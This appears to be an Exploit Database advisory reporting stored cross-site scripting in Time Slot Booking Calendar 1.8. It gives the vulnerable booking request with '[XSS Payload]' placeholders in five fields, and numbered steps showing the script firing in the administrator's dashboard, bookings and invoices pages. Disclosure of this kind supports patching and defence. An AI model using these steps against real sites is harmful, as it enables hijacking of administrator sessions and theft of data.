Time Slot Booking Calendar 1.8 – Stored Cross-Site Scripting (XSS)

• Exploit Database
• 16 阅读

• 作者： CraCkEr
  日期： 2023-07-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51558/

• # Exploit Title: Time Slot Booking Calendar 1.8 - Stored XSS
  # Date: 29/06/2023
  # Exploit Author: CraCkEr
  # Vendor: GZ Scripts
  # Vendor Homepage: https://gzscripts.com/
  # Software Link: https://gzscripts.com/time-slot-booking-calendar-php.html
  # Version: 1.8
  # Tested on: Windows 10 Pro
  # Impact: Manipulate the content of the site
  
  
  ## Release Notes:
  
  Allow Attacker to inject malicious code into website, give ability to steal sensitive
  information, manipulate data, and launch additional attacks.
  
  
  
  ## Stored XSS
  
  -----------------------------------------------
  POST /TimeSlotBookingCalendarPHP/load.php?controller=GzFront&action=booking_details&cid=1 HTTP/1.1
  
  promo_code=&title=prof&male=female&first_name=[XSS Payload]&second_name=[XSS Payload]&phone=[XSS Payload]&email=cracker%40infosec.com&company=&address_1=[XSS Payload]&address_2=xxx&city=xxx&state=xxx&zip=xxx&country=[XSS Payload]&additional=xxx&captcha=rtznqs&terms=1&cal_id=1&calendar_id=1
  -----------------------------------------------
  
  POST parameter 'first_name' is vulnerable to XSS
  POST parameter 'second_name' is vulnerable to XSS
  POST parameter 'phone' is vulnerable to XSS
  POST parameter 'address_1' is vulnerable to XSS
  POST parameter 'country' is vulnerable to XSS
  
  
  ## Steps to Reproduce:
  
  1. As a [Guest User] Choose any Day Colored by Green on the Calendar - Click on [+] near Start/End Time - Press [Booking]
  2. Inject your [XSS Payload] in "First Name"
  3. Inject your [XSS Payload] in "Last Name"
  4. Inject your [XSS Payload] in "Phone"
  5. Inject your [XSS Payload] in "Address Line 1"
  6. Inject your [XSS Payload] in "Country"
  
  
  7. Accept with terms & Press [Booking]
   XSS Fired on Local User Browser
  
  8. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php?controller=GzAdmin&action=dashboard)
   XSS Will Fire and Executed on his Browser
  
  9. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php?controller=GzBooking&action=index)
   XSS Will Fire and Executed on his Browser
  
  10. When ADMIN visit [Invoices ] - [All Invoices] to check [Pending Invoices] on this Path (https://website/index.php?controller=GzInvoice&action=index)
   XSS Will Fire and Executed on his Browser
  
  
  [-] Done